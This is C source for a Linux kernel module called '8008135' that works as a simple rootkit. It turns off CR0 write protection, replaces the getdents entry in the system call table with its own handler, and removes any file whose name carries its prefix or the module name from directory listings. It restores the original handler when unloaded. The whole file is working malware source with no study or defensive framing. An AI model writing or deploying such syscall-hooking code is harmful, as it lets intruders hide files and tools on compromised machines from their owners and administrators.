/* -*- Mode: C; indent-tabs-mode: t; c-basic-offset: 4; tab-width: 4 -*- */ /* * main.c * Copyright (C) 2019 * * 8008135 is free software: you can redistribute it and/or modify it * under the terms of the GNU General Public License as published by the * Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * 8008135 is distributed in the hope that it will be useful, but * WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. * See the GNU General Public License for more details. * * You should have received a copy of the GNU General Public License along * with this program. If not, see . */ /**** Includes *************************************************************** *******************************************************************************/ #include #include #include #include #include #include #include "sysgen.h" /**** Defines ***************************************************************** *******************************************************************************/ #define GETDENTS_SYSCALL_NUM 78 #define WRITE_PROTECT_FLAG (1<<16) #define HIDE_PREFIX "8008135." #define HIDE_PREFIX_SZ (sizeof(HIDE_PREFIX) - 1) #define MODULE_NAME "8008135" #define MODULE_NAME_SZ (sizeof(MODULE_NAME) - 1) /**** Modinfo **************************************************************** *******************************************************************************/ MODULE_LICENSE("GPLv3"); MODULE_AUTHOR("JanKoernerEnterprises"); MODULE_DESCRIPTION("8008135"); MODULE_VERSION("0.1"); /**** type ******************************************************************* *******************************************************************************/ struct linux_dirent { unsigned long d_ino; unsigned long d_off; unsigned short d_reclen; // d_reclen is the way to tell the length of this entry char d_name[1]; // the struct value is actually longer than this, and d_name is variable width. }; typedef asmlinkage long (*sys_getdents_t)(unsigned int fd, struct linux_dirent __user *dirent, unsigned int count); /**** var ******************************************************************** *******************************************************************************/ sys_getdents_t sys_getdents_orig = NULL; /*** FUNCTION **************************************************************** * NAME: sys_getdents_new * DESCRIPTION: function overriding the original getdents * PARAMETERS: - * RETURNS: - *******************************************************************************/ asmlinkage long sys_getdents_new(unsigned int fd, struct linux_dirent __user *dirent, unsigned int count) { int boff; struct linux_dirent* ent; long ret = sys_getdents_orig(fd, dirent, count); char* dbuf; if (ret <= 0) { return ret; } dbuf = (char*)dirent; // go through the entries, looking for one that has our prefix for (boff = 0; boff < ret;) { ent = (struct linux_dirent*)(dbuf + boff); // if it has hide prefix or module name anywhere, hide it if ((strncmp(ent->d_name, HIDE_PREFIX, HIDE_PREFIX_SZ) == 0) || (strstr(ent->d_name, MODULE_NAME) != NULL)) { // remove this entry by copying everything after it forward // and adjust the length reported memcpy(dbuf + boff, dbuf + boff + ent->d_reclen, ret - (boff + ent->d_reclen)); ret -= ent->d_reclen; } else { // on to the next entry boff += ent->d_reclen; } } return ret; } /*** FUNCTION **************************************************************** * NAME: 8008135_init * DESCRIPTION: initializing Kernel Module * PARAMETERS: - * RETURNS: int *******************************************************************************/ static int __init init_8008135(void) { printk(KERN_INFO "sys_call_table @ %p\n", sys_call_table); // record the original getdents handler sys_getdents_orig = (sys_getdents_t)((void**)sys_call_table)[GETDENTS_SYSCALL_NUM]; printk(KERN_INFO "original sys_getdents @ %p\n", sys_getdents_orig); // turn write protect off write_cr0(read_cr0() & (~WRITE_PROTECT_FLAG)); // add our new handlers sys_call_table[GETDENTS_SYSCALL_NUM] = sys_getdents_new; // turn write protect back on write_cr0(read_cr0() | WRITE_PROTECT_FLAG); printk(KERN_INFO "New syscall in place\n"); return 0; } /*** FUNCTION **************************************************************** * NAME: 8008135_exit * DESCRIPTION: unloading Kernel Module * PARAMETERS: - * RETURNS: - *******************************************************************************/ static void __exit exit_8008135(void) { // allow us to write to read onlu pages write_cr0(read_cr0() & (~WRITE_PROTECT_FLAG)); // set getdents handler back sys_call_table[GETDENTS_SYSCALL_NUM] = sys_getdents_orig; // turn write protect back on write_cr0(read_cr0() | WRITE_PROTECT_FLAG); printk(KERN_INFO "Old syscall back\n"); } // Setting pointers to init-/exit-functions module_init(init_8008135); module_exit(exit_8008135);